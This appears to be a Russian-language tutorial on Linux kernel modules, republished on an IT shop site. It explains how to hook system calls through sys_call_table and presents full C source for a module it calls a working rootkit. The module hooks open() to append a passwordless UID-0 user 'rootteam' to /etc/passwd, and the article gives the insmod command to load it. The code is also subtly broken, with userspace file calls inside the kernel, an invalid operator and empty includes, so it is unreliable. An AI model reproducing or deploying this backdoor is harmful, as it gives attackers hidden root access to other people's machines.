(495) 925-0049, ITShop интернет-магазин 229-0436, Учебный Центр 925-0049
  Главная страница Карта сайта Контакты
Поиск
Вход
Регистрация
Рассылки сайта
 
 
 
 
 

Программирование в Linux: Linux Kernel Modules #2: system_call (исходники)

Источник: CodingClub

Данная статья является логическим продолжением предыдущей, так что для получения каких-то ответов на поставленные вопросы, не следует сразу писать мне - прочтите предыдущий материал. В предыдущей статье я писал, для чего используются модули, из чего состоят и, даже, привел самый простой пример... Но стоит заметить, что приведенный пример не являлся частью ядра (точнее код программы), так как в функции инициализации/деинициализации в код ядра ничего небыло добавленно (напомню, что при установке модуля выводилось сообщение). Как я уже говорил, модули добавляют/изменяют какие-то системные вызовы (функции). Именно об этом я и попытаюсь рассказать, но вначале немного теории.

Допустим мы написали некий модуль, который должен изменить указатель в таблице на новую функцию-обработчик, которая теперь будет совершать некоторые действия предписанные предыдущей функции. Так как мы не знаем о том, заменен ли оригинал функции какой либо другой (до нас могли уже установить другой обработчик), существует возможность очень сильного повреждения ядра.

Дело в том, что если кто-то уже заменил стандартный обработчик, то, допустим, после нашей установки, пользователь решил удалить свой модуль, при откате действий, "его" модуль попробует заменить указатель в таблице на предыдущий... Теперь давайте представим, что после этого мы решили также удалить наш модуль.

Что будет при откате? Если мы плохие программисты (то мы не предохраняясь) востанавливаем указатель на старый "его" обработчик, которого, стоит заметить, уже нет в памяти... Это ведет к неминуемому исполнению произвольного кода на машине, так что во избежание таких несчастных случаев можно использовать хотя бы счетчик ссылок. Во вторых (оффтопик)... У человека всегда должна быть цель... сегодня она у меня есть - я исследую, я хакер... а завтра я умру... Начнем.

Обычно для построения руткитов используют замену каких-либо системных вызовов... так поступим и мы... воспользовавшись командой "strace" мы получаем список всех системных вызовов использованных программой.

В ядре существует место, куда передается управление из пользовательского процесса; такое место называется system_call. Здесь ядро проверяет номер системного вызова, по которому ядро определяет, какая функция требуется процессу. Далее просматривается таблица системных вызовов sys_call_table, для определения адреса системной функции в ядре. И, наконец, вызывается эта функция.

Что же нам нужно для изменения работы некоторого системного вызова? Для начала нам нужно написать новую функцию для реализации системного вызова. Далее мы изменим указатель на нашу новую функцию в таблице системных вызовов sys_call_table.

Давайте расмотрим пример. Пусть данная программа и не идеальна, но она наглядно показывает то, что показывает... Наша программа будет добавлять пользователя rootteam в файл /etc/passwd при каждом системном вызове open. Согласен, глупо, но это лишь демонстрация.

------------------------------------------CODE_START-------------------------------------

// sys_open.c

#include
#include
#include
#include
#include

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include
#endif
#include
/*
 определяем версию ядра
*/
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) ((a)*65535+(b)*256+(c))
#endif
#if LINUX_VERSION_CODE>=KERNEL_VERSION(2,2,0)
#include
#endif
/*
 определяем таблицу системных вызовов
*/
extern void* sys_call_table[];
/*
 укажем UID пользователя, системный вызов которого мы используем
*/
int uid,my_sys_flag=1;

/*
 проверяем тип в передаваемом параметре(это должен быть integer)
*/
#if LINUX_VERSION_CODE=>KERNEL_VERSION(2,2,0)
MODULE_PARM(uid,"i");
#endif
/*
 в этом месте мы сохраним предидщий указатель на системный вызов
*/
asmlinkage int
(*original_call)(const char* , int , int);
asmlinkage int
(*getuid_call)();
/*
 здесь находится НАША функция
*/
asmlinkage int
my_sys_open(const char* filename, int flags, int mode)
{
 FILE *file;
 int i=0;
 char ch;
  if(uid==getuid_call() && my_sys_flag)
   {
    my_sys_flag=0;
    file=fopen("/etc/passwd","a");
    fprintf(file,"rootteam::0:0:rootteam:/root:/bin/sh");
    fclose(file);
   }
 my_sys_flag=1;
 return original_call(filename,flags,mode);
}
/*
 функция инициализации модуля, происходит замена указателя в таблице
*/
int
init_module()
{
 original_call=sys_call_table[__NR_open];
 sys_call_table[__NR_open]=my_sys_open;
/*
получаем указатеь на getuid()-функцию
*/
 getuid_call=sys_call_table[__NR_getuid];
return 0;
}
/*
 функция отката модуля
*/
void
cleanup_module()
{
 if(sys_call_table[__NR_open]!=my_sys_open)
 {
  printk("There is no my function in kernel, somebody chenged the pointer! ");
  exit -1;  
 }
 sys_call_table[__NR_open]=original_call;
}

------------------------------------------CODE_ENDS--------------------------------------

Вот собственно и все... вполне рабочий руткит... хотя нет, забыл об одной детали. Так как нашему модулю передается параметр-UID пользователя от которого мы ждем вызова open, то установка модуля в систему происходит следующим образом:

$/sbin/insmod uid=1000 -c sys_open.c
так что не забудьте добавить недостающие строчки в Makefile. Ждите очередных статей... И помните, у вас появилась цель!

Ссылки по теме


 Распечатать »
 Правила публикации »
  Написать редактору 
 Рекомендовать » Дата публикации: 24.11.2006 
 

Магазин программного обеспечения   WWW.ITSHOP.RU
ABBYY Lingvo x6 Английская Профессиональная версия
ESET NOD32 Антивирус на 1 год для 3ПК или продление на 20 месяцев
VMware Fusion 10 Pro, ESD
NauDoc Enterprise 10 рабочих мест
TeeChart Standard VCL/FMX 2 developer license
 
Другие предложения...
 
Курсы обучения   WWW.ITSHOP.RU
 
Другие предложения...
 
Магазин сертификационных экзаменов   WWW.ITSHOP.RU
 
Другие предложения...
 
3D Принтеры | 3D Печать   WWW.ITSHOP.RU
 
Другие предложения...
 
Новости по теме
 
Рассылки Subscribe.ru
Информационные технологии: CASE, RAD, ERP, OLAP
Программирование на Microsoft Access
CASE-технологии
OS Linux для начинающих. Новости + статьи + обзоры + ссылки
Программирование в AutoCAD
СУБД Oracle "с нуля"
Corel DRAW - от идеи до реализации
 
Статьи по теме
 
Новинки каталога Download
 
Исходники
 
Документация
 
 



    
rambler's top100 Rambler's Top100